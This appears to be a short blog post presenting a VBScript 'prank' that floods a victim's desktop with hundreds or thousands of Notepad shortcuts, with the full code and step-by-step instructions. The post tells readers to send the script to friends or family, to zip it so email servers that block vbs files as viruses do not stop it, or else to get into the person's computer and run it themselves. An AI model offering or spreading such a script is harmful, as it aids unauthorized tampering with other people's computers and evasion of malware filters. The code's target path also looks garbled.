I wrote this one this morning and I have to say it was one of my favorites. The script is designed to create icons on some ones desktop, how many is really up to you. This can be sorta funny or just down write malicious. In all fairness I tested this on my self first.
( Click to image to enlarge)
Click here to download the script ( ICON PRANK )
As you can see there is a whole lot of icons, what you dont see is that they keep going and going, 2900 to be exact. I wasn’t sure if the script was working, but I found it was the hard way. Now you probably want to know how to do it:
Step 1:
Open notepad
Step2:
Copy this code into notepad
Dim WSHShell, fs, i
Set WSHShell = WScript.CreateObject(“WScript.Shell”)
Set fs = WScript.CreateObject(“Scripting.FileSystemObject”)
Function MakeDesktopShortcut( name, target )
Dim Shortcut,DesktopPath,StartupPath
DesktopPath = WSHShell.SpecialFolders(“Desktop”)
Set Shortcut = WSHShell.CreateShortcut(DesktopPath & “\” & name & “.lnk”)
Shortcut.TargetPath = target
StartupPath = fs.GetParentFolderName( target )
If fs.FolderExists( StartupPath ) then
Shortcut.WorkingDirectory = StartupPath
End If
Shortcut.Save
End Function
i=1
do until i=100
MakeDesktopShortcut “Shortcut to Notepad”& i, “C:\Windows\-Notepad.exe”
i=i+1
loop
Step 3
Decide how many icons. You can do this by changing the value of I. By default I set it to 100, you can go as high as you want, and as evil as you want.
Step 4
Save the file. The name should end in .vbs
Step 5
Unleash hell. Send it to your friends or family, and have them double click on it. Some email servers will block vbs files thinking they are viruses, so zipping it up usually does the trick. If that doesn’t work your will have to find a way to gain access to there computer and click it your self.
That is it. Create am ass load of icons and drive your friends crazy.